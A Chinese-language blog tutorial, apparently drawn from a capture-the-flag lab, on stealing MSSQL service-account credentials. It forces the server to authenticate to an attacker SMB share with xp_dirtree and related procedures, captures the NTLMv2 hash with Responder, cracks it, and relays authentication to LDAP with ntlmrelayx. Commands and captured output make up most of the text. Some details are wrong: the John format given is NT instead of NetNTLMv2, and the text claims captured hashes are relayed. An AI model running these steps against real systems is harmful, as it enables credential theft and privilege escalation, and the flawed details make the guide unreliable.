当前位置: 首页 > ai >正文

MSSQL + SMB 捕获 NTLM 哈希和中继攻击

一、原理概述

1、MSSQL 服务器函数:

xp_dirtree、xp_fileexist 等存储过程在访问远程 SMB 共享时,会尝试使用服务账户身份进行身份验证。

2、触发 NTLM 认证请求:

当 MSSQL 执行上述函数访问远程路径(如 \\IP\SHARE)时,MSSQL 服务账户会向 SMB 服务器发送 NTLM 认证请求。

3、捕获 NTLM 哈希:

攻击者设置的监听器(如 Responder)能够捕获到这些 NTLM 哈希,进一步可以使用这些哈希进行爆破或中继攻击。

二、主要步骤

1、步骤 1

启动 Responder 监听器(Kali 攻击机)

Responder 是一个能够捕获网络中 NTLM 请求的工具。

在 Kali 上启动 Responder:

sudo responder -I tun0
-I tun0:指定监听的网络接口,通常是 tun0 或 eth0、wlan0 等。确保使用正确的网络接口,特别是当使用 VPN 时,接口可能是 tun0。Responder日志路径:/usr/share/responder/logs。

2、步骤 2

诱导 MSSQL 服务器发起 SMB 请求

在目标 MSSQL 服务器上执行以下 SQL 命令,诱导它连接到你的 SMB 共享:

EXEC master..xp_dirtree '\\10.10.14.XX\share';
10.10.14.XX:将其替换为你 Kali 攻击机的 IP 地址。这条命令会让 MSSQL 尝试列出远程 SMB 路径下的文件和目录,触发 NTLM 身份验证请求。

3、步骤 3

其他可用诱导函数

如果 xp_dirtree 不可用,尝试以下其他函数来诱导 SMB 请求:

EXEC master..xp_fileexist '\\10.10.14.XX\share\test.txt';
EXEC master..xp_subdirs '\\10.10.14.XX\share';

这些命令同样会让 MSSQL 尝试访问指定的 SMB 路径,并触发身份验证请求。

三、捕获 NTLM 哈希

一旦 MSSQL 服务器尝试连接 SMB 共享,Resonpder 会捕获到 NTLM 请求,并显示如下信息:

[SMB] NTLMv2-SSP Client   : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sqlservice
[SMB] NTLMv2-SSP Hash     : sqlservice::sequel:1122334455667788...
NTLMv2-SSP Client:发起请求的客户端 IP。NTLMv2-SSP Username:MSSQL 服务账户的用户名。NTLMv2-SSP Hash:捕获到的 NTLM 哈希。

四、爆破 NTLM 哈希

捕获到的 NTLM 哈希可以使用 John the Ripper 或 Hashcat 进行暴力破解,尝试获取明文密码。

例如使用 john:

john hash.txt --format=NT
hash.txt 是保存 NTLM 哈希的文件。

五、NTLM 中继攻击

一旦捕获到 NTLM 哈希,可以使用 impacket-ntlmrelayx 工具将该哈希中继到目标服务(如 LDAP)进行进一步的攻击。

启动 NTLM 中继攻击:

python3 ntlmrelayx.py -smb2support -t ldap://10.10.11.202
-smb2support:支持 SMB2 协议。-t ldap://10.10.11.202:指定目标服务地址,10.10.11.202 为目标 LDAP 服务器的 IP 地址。这条命令会将捕获到的 NTLM 哈希中继到指定的 LDAP 服务器,从而可能进行身份验证,尝试执行权限提升或其他攻击。

六、相关工具总结

Responder:用于捕获 NTLM 认证请求并显示/保存哈希。

Impacket (ntlmrelayx):用于将捕获的 NTLM 哈希中继到其他服务(如 LDAP、SMB 等),进行进一步的权限提升攻击。

http://www.xdnf.cn/news/8960.html

相关文章:

  • OpenSSL 签名验证详解:PKCS7* p7、cafile 与 RSA 验签实现
  • 康师傅的“价值战”答卷:一碗面的创新与担当
  • Trae中使用mcp连接MariaDB
  • 第五十二节:增强现实基础-简单 AR 应用实现
  • 55页 @《人工智能生命体 新启点》中國龍 原创连载
  • RISC-V 开发板 MUSE Pi Pro RTSP 串流 CSI ov5647 摄像头
  • OS:进程管理中
  • Git Push 失败:HTTP 413 Request Entity Too Large
  • Linux输出命令——echo解析
  • 实现安卓端与苹果端互通的方案多种多样,以下是一些主要的方案
  • 离轴全息记录与再现
  • 【Unity3D】将自动生成的脚本包含到C#工程文件中
  • 海量数据查询加速:Presto、Trino、Apache Arrow 实战指南
  • 一台手机怎样实现多IP上网?方法有多种
  • 【前端】使用HTTPS
  • js实现生成随机验证码
  • Spring框架之AOP PointCut切入点底层实现原理
  • 【FFmpeg+SDL】播放音频时,声音正常但是有杂音问题(已解决)
  • 有铜半孔工艺的制造难点与工艺优化
  • 人工智能的能源困境:繁荣与危机并存的未来
  • 深入解析Spring Boot与Kafka集成:构建高效消息驱动应用
  • 塔能科技:化解工厂节能改造难题,开启能耗精准节能
  • 华为云Flexus+DeepSeek征文 | Dify-LLM平台一键部署教程及问题解决指南
  • Python常用高阶函数全面解析:通俗易懂的指南
  • 进行性核上性麻痹护理之道:助力患者舒适生活
  • 题目 3332: 蓝桥杯2025年第十六届省赛真题-最多次数
  • 快递实时查询API开发:物流轨迹地图集成教程
  • 遥感解译项目Land-Cover-Semantic-Segmentation-PyTorch之三制作训练数据
  • 从ETL到实时数据处理:数据流管理的演变与未来趋势
  • 谷歌Veo vs Sora:AI视频生成技术的巅峰对决